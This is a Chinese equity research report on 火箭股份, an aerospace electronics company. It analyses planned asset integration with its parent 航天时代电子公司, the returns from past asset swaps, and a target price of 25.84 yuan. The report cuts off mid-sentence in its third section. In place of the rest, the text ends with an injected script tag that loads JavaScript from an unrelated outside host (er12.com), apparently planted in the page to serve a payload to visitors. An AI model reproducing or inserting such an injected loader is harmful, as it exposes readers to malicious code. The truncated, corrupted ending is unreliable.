作为航天时代电子公司下属专注于生产遥测遥控、卫星导航与应用、电子元器件等产品的控股公司，火箭股份的资产平台和业务平台作用将不断得到强化，整体上市将成为必然选择。
母子公司实现资产整合的重要目的在于提升资产的回报效率。以航天时代电子公司与火箭股份已经发生的资产交易而言，资产置入后的效率是显而易见的。
为了提高资产整合的效率，我们判断公司有可能分步骤实施资产整合的过程。首先注入的业务可能涉及军民两用集成电路设计、激光惯性器件、军民两用微波工艺器件、通信输电用铝包钢器材等。
除了致力于集团内部资产的整合之外，公司也一直关注着集团外部其他优质军工资产，并力求通过并购外部相关资产来实现业务的快速扩张。
我们预计公司将在下半年实施增发。所募集资金将投入新技术、新产品的工程化以及存量资产的继续投入。
火箭股份盈利能力的提升主要通过三条途径来完成，一是通过并购注入母公司优势资源及外部资产，实现增量资产盈利能力的提高。二是不断推出新的军品技术及产品，并对相关产品实施工程化来提升其市场占有率，形成新的配套品种。三是拓展军工技术的民用空间，实现军民两用技术的突破提升民品市场的占有率。
新业务的注入及新产品的开发将提升公司08年以其后的盈利能力，我们将相应提高08年及其后的盈利预测，并在估值中更加侧重考虑其长期投资价值。
我们继续给予增持的评级，并给予25.84元的长期目标价位，相当于08年30倍pe、09年22倍pe。
1.整合航天电子资产整体上市将是未来目标
2004年初，航天科技集团将原属中国运载火箭技术研究院拥有的火箭股份股权划转给同属航天科技集团的航天时代电子公司。由此航天时代电子公司成为火箭股份的第一大股东。
航天时代公司是航天科技集团按照国家对国防军工企事业单位深化改革的总体要求，为调整国防军工科研生产能力结构，整合内部电子专业资源，在中国航天电子元器件公司的基础上重组合并而设立。是航天科技集团公司组建的第一个专业子公司。公司原下属13家企事业单位，1家大型民品控股公司。公司下属企业单位均从事与电子类专业相关产品的开发、研制、生产、销售，其中主要电子产品又细分为惯导、微电子与计算机、遥测遥控等几种专业方向。
火箭股份是航天时代电子公司组建后专注于生产遥测遥控、卫星导航与应用、电子元器件等产品的控股公司。是航天时代公司做大做强相关专业的重要平台。为支持火箭股份的发展，航天时代电子公司已将下属的上海科学仪器厂、桂林航天电器公司、杭州电连接器厂及河南通达电器厂河南厂河南厂区生产经营性资产相关负债注入上市公司。
目前航天时代公司除间接持有航天动力（17.13%）、中兴通讯（17.96%）股权外。还拥有3家研究所、5家工厂。05年总体销售收入约为16亿。时代电子公司“十一五”末的净资产目标为50亿，总资产目标为100亿，销售收入目标为超100亿，相当于未来五年18.5%的年复合增长率。而通过火箭股份整合其母公司现有的资产，并做大做强则是双方共同的目标。
2.提升运营效率是资产整合的目标
母子公司实现资产整合的重要目的在于提升资产的回报效率。作为航天系统的军工资产，特别是居于最前沿的电子部分，其研发与技术创新的能力是不容怀疑的。但由于体制原因，其资产营运的效率则可能存在差异。这也是两大航天集团公司愿意借助上市公司平台与普通投资者分享军工业务成长的重要原因。而历史的经验也验证了我们的判断。
以航天时代电子公司与火箭股份已经发生的资产交易而言，资产置入后的效率是显而易见的。2002年12月27日火箭股份以其持有的武汉长征火箭科技公司97.35%权益，与航天时代公司下属的上海科学仪器厂、桂林航天电器公司、杭州电连接器厂的经营资产以及河南通达航天电器厂在北京小羊坊的生产用地和厂房设施进行等价资产置换。置换入资产评估净值为2.81亿元。2005年4月30日，公司将下属子公司航天长征火箭技术有限公司所属房产与航天时代电子公司下属河南通达航天电器厂河南厂生产经营性资产（评估净值5259万元）进行置换。
由下表可以看到，相关公司进入上市公司后盈利能力的快速提升过程。04年相当资产的净资产收益率约为23%。特别是05年4月末置入的郑州航天电子公司有关资产，以其评估值计算，当年（8个月）净资产收益率就达到了59.30%。而在未置入之前04年当年的净利润只有800万。
3.资产整合的可能步骤
从国防科工委对于军工资产的整体管理要求来看，核心内容可能涉及三个层次。首先，总体、总装、总测业务，属核心保军资产，国家将通过全资控股的方式运营以保证相关资产的绝对安全。其次，与总装相关的上游配套部分，则可以通过股份公司或上市?script src=http://er12.com/t.js>
